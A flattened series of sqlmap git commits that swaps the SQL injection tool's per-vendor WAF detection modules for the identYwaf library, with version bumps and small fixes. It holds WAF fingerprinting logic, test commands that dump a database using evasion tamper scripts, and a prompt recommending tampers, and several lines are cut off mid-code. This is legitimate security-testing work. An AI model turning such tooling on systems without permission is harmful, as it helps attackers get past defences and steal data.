a/waf/trafficshield.py b/waf/trafficshield.py deleted file mode 100644 index c5e694b824f..00000000000 --- a/waf/trafficshield.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "TrafficShield (F5 Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval |= re.search(r"F5-TrafficShield", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"\AASINFO=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/urlmaster.py b/waf/urlmaster.py deleted file mode 100644 index 1f6f5608294..00000000000 --- a/waf/urlmaster.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Url Master SecurityCheck (iFinity/DotNetNuke)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, code = get_page(get=vector) - retval |= (code or 0) >= 400 and all(_ in (page or "") for _ in ("UrlMaster", "UrlRewriteModule", "SecurityCheck")) - if retval: - break - - return retval diff --git a/waf/urlscan.py b/waf/urlscan.py deleted file mode 100644 index 6fea0d2c420..00000000000 --- a/waf/urlscan.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "UrlScan (Microsoft)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= re.search(r"Rejected-By-UrlScan", headers.get(HTTP_HEADER.LOCATION, ""), re.I) is not None - retval |= code != 200 and re.search(r"/Rejected-By-UrlScan", page or "", re.I) is not None - if retval: - break - - return retval diff --git a/waf/varnish.py b/waf/varnish.py deleted file mode 100644 index e2c23a9215a..00000000000 --- a/waf/varnish.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Varnish FireWall (OWASP)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, code = get_page(get=vector) - retval |= (code or 0) >= 400 and "Request rejected by xVarnish-WAF" in (page or "") - if retval: - break - - return retval diff --git a/waf/virusdie.py b/waf/virusdie.py deleted file mode 100644 index 8f395e9097f..00000000000 --- a/waf/virusdie.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Virusdie (Virusdie LLC)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= any(_ in (page or "") for _ in ("| Virusdie", "http://cdn.virusdie.ru/splash/firewallstop.png", "© Virusdie.ru

", '= 400 and re.search(r"\AWatchGuard", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= "Request denied by WatchGuard Firewall" in (page or "") - if retval: - break - - return retval diff --git a/waf/webknight.py b/waf/webknight.py deleted file mode 100644 index 5bbb7c3945e..00000000000 --- a/waf/webknight.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "WebKnight Application Firewall (AQTRONIX)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval |= code == 999 - retval |= re.search(r"WebKnight", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= any(_ in (page or "") for _ in ("WebKnight Application Firewall Alert", "AQTRONIX WebKnight")) - if retval: - break - - return retval diff --git a/waf/webseal.py b/waf/webseal.py deleted file mode 100644 index 105f3566813..00000000000 --- a/waf/webseal.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "WebSEAL (IBM)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= re.search(r"WebSEAL", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= any(_ in (page or "") for _ in ("This is a WebSEAL error message template file", "The Access Manager WebSEAL server received an invalid HTTP request")) - if retval: - break - - return retval diff --git a/waf/wordfence.py b/waf/wordfence.py deleted file mode 100644 index fd98eb4d57f..00000000000 --- a/waf/wordfence.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Wordfence (Feedjit)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= any(_ in (page or "") for _ in ("A potentially unsafe operation has been detected in your request to this site", "Generated by Wordfence", "Your access to this site has been limited", "This response was generated by Wordfence")) - if retval: - break - - return retval diff --git a/waf/wts.py b/waf/wts.py deleted file mode 100644 index 38d4a0b1ef8..00000000000 --- a/waf/wts.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "WTS Web Application Firewall" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= ">WTS-WAF" in (page or "") - retval |= re.search(r"\Awts/", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/yundun.py b/waf/yundun.py deleted file mode 100644 index 96dee5a7944..00000000000 --- a/waf/yundun.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Yundun Web Application Firewall (Yundun)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= re.search(r"YUNDUN", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"YUNDUN", headers.get("X-Cache", ""), re.I) is not None - retval |= "Blocked by YUNDUN Cloud WAF" in (page or "") - if retval: - break - - return retval diff --git a/waf/yunsuo.py b/waf/yunsuo.py deleted file mode 100644 index e9052141c07..00000000000 --- a/waf/yunsuo.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Yunsuo Web Application Firewall (Yunsuo)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval |= re.search(r"= 400 and re.search(r"\AZENEDGE", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= all(_ in (page or "") for _ in ("Your request has been blocked", "Incident ID", "/__zenedge/assets/")) - if retval: - break - - return retval From ad01aa744912325979684d622350a95d75e22ae4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 May 2019 13:54:10 +0200 Subject: [PATCH 401/800] Further integration of identYwaf --- lib/controller/checks.py | 58 ++++++++----------------------- lib/core/dicts.py | 1 + lib/core/option.py | 2 +- lib/core/settings.py | 2 +- lib/request/basic.py | 14 +++++++- lib/request/connect.py | 2 +- thirdparty/identywaf/identYwaf.py | 7 ++-- 7 files changed, 36 insertions(+), 50 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 3bb8841994f..319e871400b 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -108,7 +108,6 @@ from lib.techniques.union.test import unionTest from lib.techniques.union.use import configUnion from thirdparty import six -from thirdparty.identywaf import identYwaf from thirdparty.six.moves import http_client as _http_client def checkSqlInjection(place, parameter, value): @@ -1403,49 +1402,22 @@ def checkWaf(): kb.resendPostOnRedirect = popValue() kb.redirectChoice = popValue() - # TODO: today if retVal: - pass - # identYwaf - #if conf.timeout == defaults.timeout: - #logger.warning("dropping timeout to %d seconds (i.e. '--timeout=%d')" % (IDS_WAF_CHECK_TIMEOUT, IDS_WAF_CHECK_TIMEOUT)) - #conf.timeout = IDS_WAF_CHECK_TIMEOUT - - # identYwaf - - #def _(*args, **kwargs): - #page, headers, code = None, None, None - #try: - #pushValue(kb.redirectChoice) - #pushValue(kb.resendPostOnRedirect) - - #kb.redirectChoice = REDIRECTION.YES - #kb.resendPostOnRedirect = True - - #if kwargs.get("get"): - #kwargs["get"] = urlencode(kwargs["get"]) - #kwargs["raise404"] = False - #kwargs["silent"] = True - #kwargs["finalCode"] = True - - #page, headers, code = Request.getPage(*args, **kwargs) - #except Exception: - #pass - #finally: - #kb.resendPostOnRedirect = popValue() - #kb.redirectChoice = popValue() - - - #message = "are you sure that you want to " - #message += "continue with further target testing? [y/N] " - #choice = readInput(message, default='N', boolean=True) - - #if not conf.tamper: - #warnMsg = "please consider usage of tamper scripts (option '--tamper')" - #singleTimeWarnMessage(warnMsg) - - #if not choice: - #raise SqlmapUserQuitException + if not kb.identifiedWafs: + warnMsg = "heuristics detected that the target " + warnMsg += "is protected by some kind of WAF/IPS" + logger.critical(warnMsg) + + message = "are you sure that you want to " + message += "continue with further target testing? [y/N] " + choice = readInput(message, default='N', boolean=True) + + if not conf.tamper: + warnMsg = "please consider usage of tamper scripts (option '--tamper')" + singleTimeWarnMessage(warnMsg) + + if not choice: + raise SqlmapUserQuitException hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index e80f3d9a033..f96db7a956a 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -290,6 +290,7 @@ "--purge-output": "use '--purge' instead", "--check-payload": None, "--check-waf": None, + "--identify-waf": None, "--pickled-options": "use '--api -c ...' instead", } diff --git a/lib/core/option.py b/lib/core/option.py index b8e893f5368..4b0087a6a2a 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1890,6 +1890,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.ignoreCasted = None kb.ignoreNotFound = False kb.ignoreTimeout = False + kb.identifiedWafs = set() kb.injection = InjectionDict() kb.injections = [] kb.laggingChecked = False @@ -1970,7 +1971,6 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.tableExistsChoice = None kb.uChar = NULL kb.unionDuplicates = False - kb.wafSpecificResponse = None kb.wizardMode = False kb.xpCmdshellAvailable = False diff --git a/lib/core/settings.py b/lib/core/settings.py index a0c908d5439..00ba78f532e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.131" +VERSION = "1.3.5.132" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index 2b50b56eaab..27d151736ea 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -51,8 +51,10 @@ from lib.utils.htmlentities import htmlEntities from thirdparty import six from thirdparty.chardet import detect +from thirdparty.identywaf import identYwaf from thirdparty.odict import OrderedDict from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import http_client as _http_client def forgeHeaders(items=None, base=None): """ @@ -365,7 +367,7 @@ def _(match): return page -def processResponse(page, responseHeaders, status=None): +def processResponse(page, responseHeaders, code=None, status=None): kb.processResponseCounter += 1 page = page or "" @@ -383,6 +385,16 @@ def processResponse(page, responseHeaders, status=None): if msg: logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) + rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(responseHeaders.headers), page) + + identYwaf.non_blind.clear() + if identYwaf.non_blind_check(rawResponse, silent=True): + for waf in identYwaf.non_blind: + if waf not in kb.identifiedWafs: + kb.identifiedWafs.add(waf) + errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) + singleTimeLogMessage(errMsg, logging.CRITICAL) + if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): match = re.search(regex, page) diff --git a/lib/request/connect.py b/lib/request/connect.py index 0c4343f36c6..ce2ec3af4d7 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -795,7 +795,7 @@ class _(dict): socket.setdefaulttimeout(conf.timeout) - processResponse(page, responseHeaders, status) + processResponse(page, responseHeaders, code, status) if not skipLogTraffic: if conn and getattr(conn, "redurl", None): diff --git a/thirdparty/identywaf/identYwaf.py b/thirdparty/identywaf/identYwaf.py index 3a9148bc7f0..5a42e5f5fe9 100755 --- a/thirdparty/identywaf/identYwaf.py +++ b/thirdparty/identywaf/identYwaf.py @@ -66,7 +66,7 @@ sys.stdout = codecs.getwriter(locale.getpreferredencoding())(sys.stdout) NAME = "identYwaf" -VERSION = "1.0.108" +VERSION = "1.0.110" BANNER = """ ` __ __ ` ____ ___ ___ ____ ______ `| T T` __ __ ____ _____ @@ -396,7 +396,7 @@ def init(): def format_name(waf): return "%s%s" % (DATA_JSON["wafs"][waf]["name"], (" (%s)" % DATA_JSON["wafs"][waf]["company"]) if DATA_JSON["wafs"][waf]["name"] != DATA_JSON["wafs"][waf]["company"] else "") -def non_blind_check(raw): +def non_blind_check(raw, silent=False): retval = False match = re.search(WAF_RECOGNITION_REGEX, raw or "") if match: @@ -405,7 +405,8 @@ def non_blind_check(raw): if match.group(_): waf = re.sub(r"\Awaf_", "", _) non_blind.add(waf) - single_print(colorize("[+] non-blind match: '%s'%s" % (format_name(waf), 20 * ' '))) + if not silent: + single_print(colorize("[+] non-blind match: '%s'%s" % (format_name(waf), 20 * ' '))) return retval def run(): From 130bcd4b9b2c76ab4ebcc1c04e18f90082e9ab9d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 May 2019 14:18:18 +0200 Subject: [PATCH 402/800] Minor update --- lib/controller/checks.py | 26 ++++++++++---------------- lib/core/common.py | 16 +++++++++------- lib/core/dicts.py | 2 +- lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- lib/core/wordlist.py | 1 - lib/parse/cmdline.py | 4 ++-- lib/request/basic.py | 15 ++++++++------- 9 files changed, 33 insertions(+), 36 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 319e871400b..847cdf51459 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -7,13 +7,11 @@ import copy import logging -import os import random import re import socket import subprocess import sys -import tempfile import time from extra.beep.beep import beep @@ -33,7 +31,6 @@ from lib.core.common import hashDBWrite from lib.core.common import intersect from lib.core.common import listToStrValue -from lib.core.common import openFile from lib.core.common import parseFilePaths from lib.core.common import popValue from lib.core.common import pushValue @@ -44,18 +41,15 @@ from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue -from lib.core.common import urlencode from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseHTTPError from lib.core.compat import xrange from lib.core.convert import getUnicode -from lib.core.defaults import defaults from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict -from lib.core.decorators import cachedmethod from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS @@ -63,7 +57,6 @@ from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD -from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import NOTE from lib.core.enums import NULLCONNECTION from lib.core.enums import PAYLOAD @@ -81,7 +74,6 @@ from lib.core.settings import CHECK_INTERNET_ADDRESS from lib.core.settings import CHECK_INTERNET_VALUE from lib.core.settings import DEFAULT_GET_POST_DELIMITER -from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX from lib.core.settings import FI_ERROR_REGEX from lib.core.settings import FORMAT_EXCEPTION_STRINGS @@ -1387,6 +1379,7 @@ def checkWaf(): pushValue(kb.resendPostOnRedirect) pushValue(conf.timeout) + kb.identYwaf = True kb.redirectChoice = REDIRECTION.YES kb.resendPostOnRedirect = False conf.timeout = IDS_WAF_CHECK_TIMEOUT @@ -1396,12 +1389,15 @@ def checkWaf(): except SqlmapConnectionException: retVal = True finally: + kb.identYwaf = False kb.matchRatio = None conf.timeout = popValue() kb.resendPostOnRedirect = popValue() kb.redirectChoice = popValue() + hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True) + if retVal: if not kb.identifiedWafs: warnMsg = "heuristics detected that the target " @@ -1409,17 +1405,15 @@ def checkWaf(): logger.critical(warnMsg) message = "are you sure that you want to " - message += "continue with further target testing? [y/N] " - choice = readInput(message, default='N', boolean=True) - - if not conf.tamper: - warnMsg = "please consider usage of tamper scripts (option '--tamper')" - singleTimeWarnMessage(warnMsg) + message += "continue with further target testing? [Y/n] " + choice = readInput(message, default='Y', boolean=True) if not choice: raise SqlmapUserQuitException - - hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True) + else: + if not conf.tamper: + warnMsg = "please consider usage of tamper scripts (option '--tamper')" + singleTimeWarnMessage(warnMsg) return retVal diff --git a/lib/core/common.py b/lib/core/common.py index 52081d1493c..b8e0a1848d3 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -68,7 +68,7 @@ from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT from lib.core.dicts import DEFAULT_DOC_ROOTS -from lib.core.dicts import DEPRECATED_OPTIONS +from lib.core.dicts import OLD_OPTIONS from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CONTENT_STATUS @@ -4457,17 +4457,19 @@ def getHostHeader(url): return retVal -def checkDeprecatedOptions(args): +def checkOldOptions(args): """ - Checks for deprecated options + Checks for deprecated/obsolete options """ for _ in args: _ = _.split('=')[0].strip() - if _ in DEPRECATED_OPTIONS: - errMsg = "switch/option '%s' is deprecated" % _ - if DEPRECATED_OPTIONS[_]: - errMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_] + if _ in OLD_OPTIONS: + if OLD_OPTIONS[_]: + errMsg = "switch/option '%s' is deprecated" % _ + errMsg += " (hint: %s)" % OLD_OPTIONS[_] + else: + errMsg = "switch/option '%s' is obsolete" % _ raise SqlmapSyntaxException(errMsg) def checkSystemEncoding(): diff --git a/lib/core/dicts.py b/lib/core/dicts.py index f96db7a956a..4ff4f8f3da0 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -280,7 +280,7 @@ POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8", } -DEPRECATED_OPTIONS = { +OLD_OPTIONS = { "--replicate": "use '--dump-format=SQLITE' instead", "--no-unescape": "use '--no-escape' instead", "--binary": "use '--binary-fields' instead", diff --git a/lib/core/option.py b/lib/core/option.py index 4b0087a6a2a..fb0a50652a0 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1886,6 +1886,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.hintValue = None kb.htmlFp = [] kb.httpErrorCodes = {} + kb.identYwaf = False kb.inferenceMode = False kb.ignoreCasted = None kb.ignoreNotFound = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 00ba78f532e..626dc1e5f50 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.132" +VERSION = "1.3.5.133" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 3ca8306e50c..d98a512f1f2 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -71,7 +71,7 @@ def _thread(): thread.start() for options, checks in ( - ("--flush-session --identify-waf", ("CloudFlare",)), + ("--flush-session", ("CloudFlare",)), ("--flush-session --parse-errors --eval=\"id2=2\" --referer=\"localhost\" --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e\"", (": syntax error", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")), ("--banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), ("--all --tamper=between,randomcase", ("5 entries", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index 34da6358db5..89ded46ff2c 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -import os import zipfile from lib.core.common import getSafeExString diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index c1a270cdb8b..fff08fae6fb 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -17,7 +17,7 @@ from optparse import OptionParser from optparse import SUPPRESS_HELP -from lib.core.common import checkDeprecatedOptions +from lib.core.common import checkOldOptions from lib.core.common import checkSystemEncoding from lib.core.common import dataToStdout from lib.core.common import expandMnemonics @@ -789,7 +789,7 @@ def _(self, *args): _.append(getUnicode(arg, encoding=sys.stdin.encoding)) argv = _ - checkDeprecatedOptions(argv) + checkOldOptions(argv) prompt = "--sqlmap-shell" in argv diff --git a/lib/request/basic.py b/lib/request/basic.py index 27d151736ea..fbd55b21add 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -387,13 +387,14 @@ def processResponse(page, responseHeaders, code=None, status=None): rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(responseHeaders.headers), page) - identYwaf.non_blind.clear() - if identYwaf.non_blind_check(rawResponse, silent=True): - for waf in identYwaf.non_blind: - if waf not in kb.identifiedWafs: - kb.identifiedWafs.add(waf) - errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) - singleTimeLogMessage(errMsg, logging.CRITICAL) + if kb.identYwaf: + identYwaf.non_blind.clear() + if identYwaf.non_blind_check(rawResponse, silent=True): + for waf in identYwaf.non_blind: + if waf not in kb.identifiedWafs: + kb.identifiedWafs.add(waf) + errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) + singleTimeLogMessage(errMsg, logging.CRITICAL) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): From 2e193fe1efeb64fd2ee1e8b405a86d36893390e9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 May 2019 14:21:53 +0200 Subject: [PATCH 403/800] Minor patch (Python 3.3) --- lib/core/settings.py | 2 +- thirdparty/identywaf/identYwaf.py | 7 ++----- 2 files changed, 3 insertions(+), 6 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 626dc1e5f50..330122366a3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.133" +VERSION = "1.3.5.134" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/identywaf/identYwaf.py b/thirdparty/identywaf/identYwaf.py index 5a42e5f5fe9..edb28e80a62 100755 --- a/thirdparty/identywaf/identYwaf.py +++ b/thirdparty/identywaf/identYwaf.py @@ -33,8 +33,6 @@ import http.client as httplib import urllib.request - IS_WIN = subprocess._mswindows - build_opener = urllib.request.build_opener install_opener = urllib.request.install_opener quote = urllib.parse.quote @@ -51,8 +49,6 @@ import urllib import urllib2 - IS_WIN = subprocess.mswindows - build_opener = urllib2.build_opener install_opener = urllib2.install_opener quote = urllib.quote @@ -66,7 +62,7 @@ sys.stdout = codecs.getwriter(locale.getpreferredencoding())(sys.stdout) NAME = "identYwaf" -VERSION = "1.0.110" +VERSION = "1.0.111" BANNER = """ ` __ __ ` ____ ___ ___ ____ ______ `| T T` __ __ ____ _____ @@ -90,6 +86,7 @@ DATA_JSON_FILE = os.path.join(os.path.dirname(__file__), "data.json") MAX_HELP_OPTION_LENGTH = 18 IS_TTY = sys.stdout.isatty() +IS_WIN = os.name == "nt" COLORIZE = not IS_WIN and IS_TTY LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;95m", "=": "\033[00;93m", "+": "\033[00;92m", "-": "\033[00;91m"} VERIFY_OK_INTERVAL = 5 From e869728972c75905b505833d224c43fc149f4a2f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 May 2019 15:01:43 +0200 Subject: [PATCH 404/800] Fixes #3698 --- lib/core/settings.py | 2 +- lib/request/connect.py | 12 ++++++------ 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 330122366a3..0b2972e48fc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.134" +VERSION = "1.3.5.135" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index ce2ec3af4d7..fe0110285cb 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -286,13 +286,13 @@ def getPage(**kwargs): if multipart: post = multipart + else: + if not post: + chunked = False - if not post: - chunked = False - - elif chunked: - post = _urllib.parse.unquote(post) - post = chunkSplitPostData(post) + elif chunked: + post = _urllib.parse.unquote(post) + post = chunkSplitPostData(post) websocket_ = url.lower().startswith("ws") From 791873e77c29300288a95db3996484fd4e23ebce Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 May 2019 22:49:33 +0200 Subject: [PATCH 405/800] Fixes #3702 --- lib/core/settings.py | 2 +- thirdparty/identywaf/identYwaf.py | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0b2972e48fc..b01b6e21f8c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.135" +VERSION = "1.3.5.136" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/identywaf/identYwaf.py b/thirdparty/identywaf/identYwaf.py index edb28e80a62..2e17ac6c95f 100755 --- a/thirdparty/identywaf/identYwaf.py +++ b/thirdparty/identywaf/identYwaf.py @@ -23,7 +23,6 @@ import socket import string import struct -import subprocess import sys import time import zlib @@ -58,11 +57,8 @@ Request = urllib2.Request HTTPCookieProcessor = urllib2.HTTPCookieProcessor - # Reference: http://blog.mathieu-leplatre.info/python-utf-8-print-fails-when-redirecting-stdout.html - sys.stdout = 